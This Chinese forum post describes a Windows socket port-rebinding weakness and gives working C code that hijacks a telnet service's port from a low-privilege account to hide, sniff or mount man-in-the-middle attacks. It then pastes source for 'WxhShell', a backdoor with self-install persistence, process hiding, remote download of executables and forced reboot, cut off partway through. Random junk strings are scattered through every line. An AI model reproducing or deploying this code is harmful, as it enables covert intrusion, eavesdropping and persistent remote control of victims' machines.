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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KKeMi@N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'CLZ7 pV  
jDzQw>T X  
  saddr.sin_family = AF_INET; (8nv&|  
]@q%dsz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); en<mm#Ab  
Lu.zc='\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  *kr/,_K  
>rG>Bz^Pu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LQ0/oYmNc  
yNu_>!Cp5  
  这意味着什么?意味着可以进行如下的攻击: ?^|`A}q#  
18g_v"6o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :_{8amO  
Cu"Cpt[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .UyE|t4  
>J"IN I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DA=!AK>  
,'#TdLe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7y=>Wa?T[  
3"fDFR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A_9WSXR  
f~IJ4T2#N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z\0Rw>#  
3;nOm =I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @sXFu[!U  
_1" ecaA  
  #include Kg@'mG  
  #include f%Q)_F[0D4  
  #include +`y(S}Z  
  #include    +9)Jtm oL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TS<d?:  
  int main() /-=fWtA  
  { lFBdiIw  
  WORD wVersionRequested; A q i:h]x  
  DWORD ret; +X?ErQm  
  WSADATA wsaData; ~ELY$G.xl  
  BOOL val; Gvb2>ZN  
  SOCKADDR_IN saddr; XN<SKW(H3  
  SOCKADDR_IN scaddr; K+g[E<x\=  
  int err; #A63?kDE&&  
  SOCKET s; Daf|.5>(@  
  SOCKET sc; sJHVnMA  
  int caddsize; t;O)   
  HANDLE mt; 0.GFg${v`  
  DWORD tid;   z2=bbm:  
  wVersionRequested = MAKEWORD( 2, 2 ); `FHudSK  
  err = WSAStartup( wVersionRequested, &wsaData ); F^ q{[Z  
  if ( err != 0 ) { 4vhf!!1  
  printf("error!WSAStartup failed!\n"); L3&Ys3-h  
  return -1; )XI[hVUA  
  } X1o",,N^M  
  saddr.sin_family = AF_INET; 3bEcKA_z(  
   y]9R#\P/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \i.]-k  
dab]>% M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]>3Y~KH(  
  saddr.sin_port = htons(23); w,{h9f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6j E.X  
  { &OR(]Wt0  
  printf("error!socket failed!\n"); ;$p!dI\-Q  
  return -1; 43=v2P0=Tj  
  } !pU$'1D  
  val = TRUE; fI.|QD*$b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bWPsfUn#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z 4u&#.bU  
  { ]HKt7 %,  
  printf("error!setsockopt failed!\n"); jP@ @<dt  
  return -1; {QG.> lB  
  } 0Tj,TF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o |$D|E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Nc[@QC{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  A l[ZU  
^:9a1{L[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r" H::A  
  { 1;B~n5C.   
  ret=GetLastError(); \aSP7DzqQ  
  printf("error!bind failed!\n"); {kpad(E  
  return -1; )g5?5f;  
  } ;0DoZ  
  listen(s,2); 84ij4ZYe  
  while(1) tBo\R?YRs  
  { 1M ?BSH{  
  caddsize = sizeof(scaddr); -cqE^qAdX  
  //接受连接请求  Y@,iDQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a~}q]o?j  
  if(sc!=INVALID_SOCKET) *V>?m6y/  
  { 7FX4|]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vPkLG*d 8  
  if(mt==NULL) jIh1)*]054  
  { @]uqC~a^  
  printf("Thread Creat Failed!\n"); /9vi  
  break; AXyXK??  
  } {16a P  
  } WjD885Xo  
  CloseHandle(mt); 87 gk  
  } @K;b7@4y  
  closesocket(s); ay"jWL-  
  WSACleanup(); Ek +R  
  return 0; "*vrrY  
  }   zs$r>rlO  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3%v)!dTa<^  
  { *l5?_tF  
  SOCKET ss = (SOCKET)lpParam; #W\}v(Ke  
  SOCKET sc; 8Vu@awz{L  
  unsigned char buf[4096]; Okq,p=D6  
  SOCKADDR_IN saddr; 2D 4,#X  
  long num; ch i=]*9  
  DWORD val; SYJO3cY  
  DWORD ret; 9QQ XB-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xv1vq -cM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,dC.|P' `  
  saddr.sin_family = AF_INET; x $uhkP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7_~ A*LM  
  saddr.sin_port = htons(23); d$IROZK-D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H'A N osv  
  { Xhe& "rM  
  printf("error!socket failed!\n"); Emlj,c<?j  
  return -1; v l"8Oi*r^  
  } GRZz@bAO?$  
  val = 100; o78u>Oy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sn"((BsO<  
  { Ny^ 1#R  
  ret = GetLastError(); O|Uz)Y94  
  return -1; c5]Xqq,  
  } *-0s ` rC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 qx4F<   
  { }`R,C~-|^  
  ret = GetLastError(); uq5?t  
  return -1; U>tR:)  
  } $;v! ,>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?(ORk|)kU  
  { /HIyQW\Ki-  
  printf("error!socket connect failed!\n"); %.Y5%T yP  
  closesocket(sc); !h? HfpYv  
  closesocket(ss); ~J\qkQ  
  return -1; _8G w Mj  
  } 9xA4;)36  
  while(1) Hf4_zd  
  { o3 0C\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }`=7%b`-?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t:wBh'K~R8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h'y"`k -  
  num = recv(ss,buf,4096,0); yr\ClIU  
  if(num>0) Vh-8pF t  
  send(sc,buf,num,0); HT<p=o'$Z  
  else if(num==0) =O}I{dNKZV  
  break; ^0]0ss;##R  
  num = recv(sc,buf,4096,0); CPB{eQeDuv  
  if(num>0) Es>' N3A z  
  send(ss,buf,num,0); 6 Bq_<3P_  
  else if(num==0) Q4XlYgIV2A  
  break; oh5'Isb$  
  } 4DL;Y  
  closesocket(ss); }c G)$E  
  closesocket(sc); yaz6?,)  
  return 0 ; Yxq!7J  
  } ~n=DI/AJ@-  
kcS7)"/ zC  
i1evB9FZ1z  
========================================================== ?LMQz=  
y._'o7%  
下边附上一个代码,,WXhSHELL dD,}i$  
UL[,A+X8D  
========================================================== j]Gn\QF  
!Z_+H<fi+I  
#include "stdafx.h" k^ <]:B  
!wp1Df[  
#include <stdio.h> =$OGHc  
#include <string.h> A]c'T T@6  
#include <windows.h> bM?gAY]mB8  
#include <winsock2.h> dN5{W0_  
#include <winsvc.h> 8N&' n  
#include <urlmon.h> 'T eH(?3G  
n/ KO{:  
#pragma comment (lib, "Ws2_32.lib") W.3b]zcV  
#pragma comment (lib, "urlmon.lib") x-i1:W9;  
[8T{=+k  
#define MAX_USER   100 // 最大客户端连接数 tz ;3  
#define BUF_SOCK   200 // sock buffer cWW?@ _  
#define KEY_BUFF   255 // 输入 buffer UZ<K'H,q  
;JxL>K(  
#define REBOOT     0   // 重启 q,Gymh;  
#define SHUTDOWN   1   // 关机 puPI ^6y%  
97liSd  
#define DEF_PORT   5000 // 监听端口 ^J]&($-  
`W86]ut[  
#define REG_LEN     16   // 注册表键长度 k`5I"-e  
#define SVC_LEN     80   // NT服务名长度 1(p:dqGS  
^ ]9K>}  
// 从dll定义API _}R9!R0O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 96w2qgc2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bK:U:vpYm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0?54 8yH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [9 MH"\  
<vcU5 .K.  
// wxhshell配置信息 xn*$Ty+  
struct WSCFG { *2 Pr1U  
  int ws_port;         // 监听端口 3sr_V~cZ9  
  char ws_passstr[REG_LEN]; // 口令 - l X4;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1$b@C-B@g  
  char ws_regname[REG_LEN]; // 注册表键名 i q`}c |c  
  char ws_svcname[REG_LEN]; // 服务名 L-+g`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^QNc!{`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xM%4/QE+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tp`1S+'~j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ROFZ*@CH<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xhP~]akHN7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "3^tVX%$\[  
X['9;1Xr  
}; 0&s6PS%  
,l~<|\4,wv  
// default Wxhshell configuration ;<Q%d~$xy}  
struct WSCFG wscfg={DEF_PORT, 4&W?: =H2  
    "xuhuanlingzhe", 1(DiV#epG  
    1, "{~5QO   
    "Wxhshell", @1CXc"IgA  
    "Wxhshell", >Y>R1b%  
            "WxhShell Service", JP8}+  
    "Wrsky Windows CmdShell Service", Et3I(X3  
    "Please Input Your Password: ", }JFTe g  
  1, t5{P'v9J  
  "http://www.wrsky.com/wxhshell.exe", 6x^$W ]R  
  "Wxhshell.exe" $Ivjcs:  
    }; m(8Tup|  
%>FtA)  
// 消息定义模块 IV,4BQ$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G(t:s5:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6qT@M0)i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SES.&e|!6  
char *msg_ws_ext="\n\rExit."; ?4':~;~  
char *msg_ws_end="\n\rQuit."; ! JA;0[;l=  
char *msg_ws_boot="\n\rReboot..."; Cu7{>"  
char *msg_ws_poff="\n\rShutdown..."; 529b. |  
char *msg_ws_down="\n\rSave to "; =Pv_,%  
Na91K4r#  
char *msg_ws_err="\n\rErr!"; `#$}P;W  
char *msg_ws_ok="\n\rOK!"; 7IxeSxXH  
s#Dj>Fej  
char ExeFile[MAX_PATH]; {<yapBMw  
int nUser = 0; ZR!8hw8  
HANDLE handles[MAX_USER]; ) lUS'I  
int OsIsNt; ^Wld6:L{I  
*$=i1w  
SERVICE_STATUS       serviceStatus; LwB1~fF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mGE!,!s}  
h]<S0/  
// 函数声明 !Ubm 586!  
int Install(void); g,d_  
int Uninstall(void); kG D_w  
int DownloadFile(char *sURL, SOCKET wsh); W{;Qi&^ca  
int Boot(int flag); (p2`ofj  
void HideProc(void); :u4|6?  
int GetOsVer(void); @6UtnX'd  
int Wxhshell(SOCKET wsl); a/ A c^!(  
void TalkWithClient(void *cs); !R8%C!=a  
int CmdShell(SOCKET sock); R&|.Lvmc/  
int StartFromService(void); MtJ-pa~n  
int StartWxhshell(LPSTR lpCmdLine); 2Wzx1_D "a  
HTh? &u\QG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >W>rhxU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }r,M (Zr  
uZ?P{E,K  
// 数据结构和表定义 vx9!KWy}  
SERVICE_TABLE_ENTRY DispatchTable[] = 4A J]qu  
{ D_lRYLA+  
{wscfg.ws_svcname, NTServiceMain}, dWd%>9 }  
{NULL, NULL} ;g0s1nz  
}; rMwa6ZO'm;  
5Od%Jhtt  
// 自我安装 PIH\*2\/  
int Install(void) 1h@qcom9K_  
{ 7wj2-BWa  
  char svExeFile[MAX_PATH]; 4vg3F(   
  HKEY key; $5pCfW8>  
  strcpy(svExeFile,ExeFile); SrKitSG  
uq3pk3 )W9  
// 如果是win9x系统,修改注册表设为自启动 #}#m\=0  
if(!OsIsNt) { ob>)F^.iS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eB~\~@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  u 8o!  
  RegCloseKey(key); OQumA j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eu5te0{G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aits<0  
  RegCloseKey(key); rf0Z5.  
  return 0; <)ZQRE@  
    } v_zt$bf{Y  
  } q=3>ij {v  
} hwGK),?"+  
else { :[<Y#EX.  
d.+*o  
// 如果是NT以上系统,安装为系统服务 PtkMzhX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \d"\7SA  
if (schSCManager!=0) CmB_g?K  
{ O_;BZzT  
  SC_HANDLE schService = CreateService Bj 7* 2}  
  ( XH%pV  
  schSCManager, 0~U0s3  
  wscfg.ws_svcname, d>f;N+O%  
  wscfg.ws_svcdisp, /<-PW9X?  
  SERVICE_ALL_ACCESS, !*v% s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0$|VkMq(  
  SERVICE_AUTO_START, "-f]d~P>  
  SERVICE_ERROR_NORMAL, ?d%)R*3IX  
  svExeFile, pwN2Nzski  
  NULL, l`\L@~ln  
  NULL, d.f0OhQ  
  NULL, \~#\ [r_  
  NULL, Lc~m`=B  
  NULL x/<ow4C  
  ); IBNg2Y  
  if (schService!=0) GXZ="3W |  
  { ) k/&,J3  
  CloseServiceHandle(schService); 0#NMNZ  
  CloseServiceHandle(schSCManager); !sX$?P%U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |it*w\+M  
  strcat(svExeFile,wscfg.ws_svcname); >Cr"q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +c_AAMe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s{dm,|?Jl,  
  RegCloseKey(key); ~k34#j:J65  
  return 0; IGTO|sT"  
    } ()6% 1zCO  
  } A'w+Lc.2  
  CloseServiceHandle(schSCManager); tEL;,1  
} j#f/M3  
} OmuE l>  
:P q&l.  
return 1; c^=q(V  
} $2Wk#F2c=  
9we];RYK  
// 自我卸载 w}1IP-  
int Uninstall(void) <l1/lm<#  
{ `:lcN0n  
  HKEY key; 7Q/H+)  
mywx V  
if(!OsIsNt) { k$v 7@|Aw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K21Xx`XK  
  RegDeleteValue(key,wscfg.ws_regname); 1le9YL1_g  
  RegCloseKey(key); ;,-)Z|W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Kd6.Mx  
  RegDeleteValue(key,wscfg.ws_regname); @ fMlbJq  
  RegCloseKey(key); D&m1yl@\J  
  return 0; dFg&|Lp  
  } "dCIg{j   
} b!g)/%C  
} Wqv7  
else { t'F$/mx.  
>IQ&*Bb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +_:p8, 5o  
if (schSCManager!=0) |!K&h(J|  
{ ScJ:F-@>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xd3mAf  
  if (schService!=0) IG0_  
  { !$HuH6_[  
  if(DeleteService(schService)!=0) { 05ZYOs}  
  CloseServiceHandle(schService); pW ~;B*hF  
  CloseServiceHandle(schSCManager); 87[o^)8  
  return 0; ub 2'|CYw  
  } ;7Qem&  
  CloseServiceHandle(schService); xF UD9TM  
  } u&p8S#e  
  CloseServiceHandle(schSCManager); ^I/(9KP#  
} -rsS_[$2  
} cMi9 Z]  
`T[yyOL/  
return 1; NH/jkt&F[  
} mV]~}7*Y;  
l&Q@+xb>  
// 从指定url下载文件 gs2qLb  
int DownloadFile(char *sURL, SOCKET wsh) R@WW@ Of  
{ /,7#%D  
  HRESULT hr; *Iw19o-I  
char seps[]= "/"; r;f\^hVy  
char *token; HV`u#hZ7C  
char *file; %/zHL?RqJ  
char myURL[MAX_PATH]; z*nztvY@e  
char myFILE[MAX_PATH]; rREev  
VFV8ik)  
strcpy(myURL,sURL); w 8o?wx*  
  token=strtok(myURL,seps); I-.? qcy~  
  while(token!=NULL) gu3)HCZ  
  { >`3 0 ib  
    file=token; Q3lVx5G>4  
  token=strtok(NULL,seps); >ptI!\i}  
  } Q m9b:U~  
xG~-.  
GetCurrentDirectory(MAX_PATH,myFILE); D vEII'-h  
strcat(myFILE, "\\"); Wm8BhO  
strcat(myFILE, file); 3s BWtz  
  send(wsh,myFILE,strlen(myFILE),0); ^?%ThPo_  
send(wsh,"...",3,0); <\:*cET3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \^F6)COy  
  if(hr==S_OK) 0jp y c  
return 0; ;F_&h#D]3  
else ?{Xp'D\z  
return 1; \mN?5QCcE  
p38s&\-kEN  
} tSDp>0yZ3  
-NG9?sI\U  
// 系统电源模块 =L$RY2S"  
int Boot(int flag) "z.!h(Eq  
{ Zfu" 8fX  
  HANDLE hToken; W6B o\UK  
  TOKEN_PRIVILEGES tkp; etW-gbr  
0A ~f ^  
  if(OsIsNt) { YS"76FJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /? j^Qu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8HO)",+I  
    tkp.PrivilegeCount = 1; zJ0'KHF}o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8/34{2048  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nDC5/xB  
if(flag==REBOOT) { qmnCa&C9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RDG,f/L2  
  return 0; I@a7!ugU65  
} XeBSHvO_  
else { ;`bJgSCfo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MD:kfPQ  
  return 0; U|h@Pw z  
} CvTgtZ '  
  } \v_t: "  
  else { ,TO&KO1;&  
if(flag==REBOOT) { \;tKss!|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qpc2;3*7  
  return 0; S4~;bsSx  
} gk6j5 $Y"<  
else { ^?[^o\/@R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z42v@?R.!W  
  return 0; sXC]{] P  
} ZsPBs4<p  
} h$zPQ""8  
 K[TMTn  
return 1; &9] [ ~$  
} .J\U|r  
>-y&k^a=  
// win9x进程隐藏模块 <Q-ufF85)  
void HideProc(void) zT+yZA.L  
{ cfe[6N  
=Jl1D*B*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pq7tNM E  
  if ( hKernel != NULL ) TAJ9Y<  
  { Y=rW.yK8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Js#c9l{{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -+I! (?  
    FreeLibrary(hKernel); <F.Ol/'h  
  } 7#|NQ=yd  
Sdt2D  
return; yM D* >8/  
} .y[K =p3  
Mw5!9@Fc7  
// 获取操作系统版本 %J%gXk}]  
int GetOsVer(void) U ._1'pW  
{ s*#|EdD6@  
  OSVERSIONINFO winfo; IA!ixabG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o_*|`E  
  GetVersionEx(&winfo); Q}.y"|^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |)JoxqR  
  return 1; _&![s]  
  else zB]T5]  
  return 0; y<.!TULa_  
} qK1V!a2  
ze\~-0ks +  
// 客户端句柄模块 ez5`B$$  
int Wxhshell(SOCKET wsl) ?H c A&  
{ 246lFx G.  
  SOCKET wsh; /+1Fa):  
  struct sockaddr_in client; Oc'z?6axWv  
  DWORD myID; o5$K^2^g  
D\l.?<C  
  while(nUser<MAX_USER) h5l Lb+  
{ Zz&i0 r  
  int nSize=sizeof(client); &s;%(c04A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pn7 :")Zx  
  if(wsh==INVALID_SOCKET) return 1; A>g$[  
| uZ=S]V@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gX _BJ6  
if(handles[nUser]==0) J+|ohA  
  closesocket(wsh); q@-qA]  
else 7VXeu+-P  
  nUser++; 835Upj>  
  } l?1!h2z%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p+7BsW.l  
!^fJAtCN]  
  return 0; ;VFr5.*x  
} ,] {NZ9  
yl ;'Ru:  
// 关闭 socket *(MvNN*  
void CloseIt(SOCKET wsh) .M{[J]H`t  
{ ?(<AT]hV:  
closesocket(wsh); pOYtN1uN|  
nUser--; YPy))>Q>cK  
ExitThread(0); hw'2q9J|  
} E$>e< T  
{G0)mp,  
// 客户端请求句柄 bg*{1^  
void TalkWithClient(void *cs) (Sv%-8?gs  
{ KJ)&(Yx  
FVmg&[ .  
  SOCKET wsh=(SOCKET)cs; C|J1x4sb@  
  char pwd[SVC_LEN]; 85{vz|(':  
  char cmd[KEY_BUFF]; ~&/Gx_KU  
char chr[1]; .>'Z9.Xnk  
int i,j; 9h(hx 7]  
?BZ][~n-Q  
  while (nUser < MAX_USER) { %Nn'p"  
/a|NGh%  
if(wscfg.ws_passstr) { 7 f*_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e`Yns$x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8)!;[G|  
  //ZeroMemory(pwd,KEY_BUFF); ,7g;r_qwA  
      i=0; m8PB2h  
  while(i<SVC_LEN) { PK4UdT  
NGY I%:  
  // 设置超时 qi2dTB  
  fd_set FdRead; iP%=Wo.  
  struct timeval TimeOut; )\;r V';  
  FD_ZERO(&FdRead); [E~TYk;  
  FD_SET(wsh,&FdRead); L>b,}w  
  TimeOut.tv_sec=8; "y0 A<-~  
  TimeOut.tv_usec=0; 9.=#4OH/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8W>l(w9M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dSZ#,Ea"  
5w1[KO#K|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X8x>oV;8  
  pwd=chr[0]; 7$=@q|$  
  if(chr[0]==0xd || chr[0]==0xa) { +3>4 ?,^g  
  pwd=0; ;LE @Ezx  
  break; fdG.=7`  
  } 3T/j5m}+!  
  i++; $\!;*SSj  
    } ?63JQ.;  
fLoVcl  
  // 如果是非法用户,关闭 socket ] O>7x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A%2}?Ds  
} uCfp+  
;/T-rVND  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U9 *2< c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oha g%<1#  
)x&@j4,  
while(1) { KgWT&^t  
p ri{vveN@  
  ZeroMemory(cmd,KEY_BUFF); =3C)sz}  
 Zwns|23n  
      // 自动支持客户端 telnet标准   r![JPhei  
  j=0; odf^W  
  while(j<KEY_BUFF) { ,P@-DDJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *$C[![   
  cmd[j]=chr[0]; yWtr,  
  if(chr[0]==0xa || chr[0]==0xd) { HjS^ nYl  
  cmd[j]=0; kG$8E  
  break; =+S3S{\CK  
  } .b oizW1+  
  j++; o~&!M_ED  
    } 3&fFIab9  
1<`7MN  
  // 下载文件 p\;)^O4  
  if(strstr(cmd,"http://")) { ~J{[]wi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WUS9zK  
  if(DownloadFile(cmd,wsh)) X$iJ|=vW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E_1I|$  
  else A]%t0>EL<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S)@vl^3ec  
  } >o#wP  
  else { 'a^tL[rLP1  
=Fy8rTdk6r  
    switch(cmd[0]) { 8I0T u  
  oK:P@V6!  
  // 帮助 %H@76NvEz  
  case '?': { cCGXB|9fYR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S!W/K!wf  
    break; X\2hKUkT  
  } ko2j|*D6@~  
  // 安装 ]=VS~azZ5  
  case 'i': { ?}v%JUcs  
    if(Install()) 5qkuK F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /8t+d.r;/  
    else l )*,18n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cievC,3*  
    break; Y*cJ4hQ  
    } >-5Gt  
  // 卸载 SuH.lCF-g  
  case 'r': { M6iO8vY  
    if(Uninstall()) yL x .#kx6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vSC0D7BlG  
    else OrEuQ-,i@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k5;Vl0Ho  
    break; EQ63VF  
    } Jhy t)@7/,  
  // 显示 wxhshell 所在路径 6.h   
  case 'p': { 7Ljj#!`lUp  
    char svExeFile[MAX_PATH]; =/JF-#n/MA  
    strcpy(svExeFile,"\n\r"); 6y,P4O*q  
      strcat(svExeFile,ExeFile); =Z .V+4+  
        send(wsh,svExeFile,strlen(svExeFile),0); i(yAmo9h  
    break; L\wpS1L(  
    } 5YI/Ec  
  // 重启 F0'A/T'ht  
  case 'b': { "E)++\JL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AYA&&b  
    if(Boot(REBOOT)) ;i9<y8Dha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .A7tq  
    else { R 4$Q3vcH  
    closesocket(wsh); Sja{$zL+W  
    ExitThread(0); WCmNibj  
    } tG2OVRx8u  
    break; ' q<EZ {  
    } \btR^;_\A  
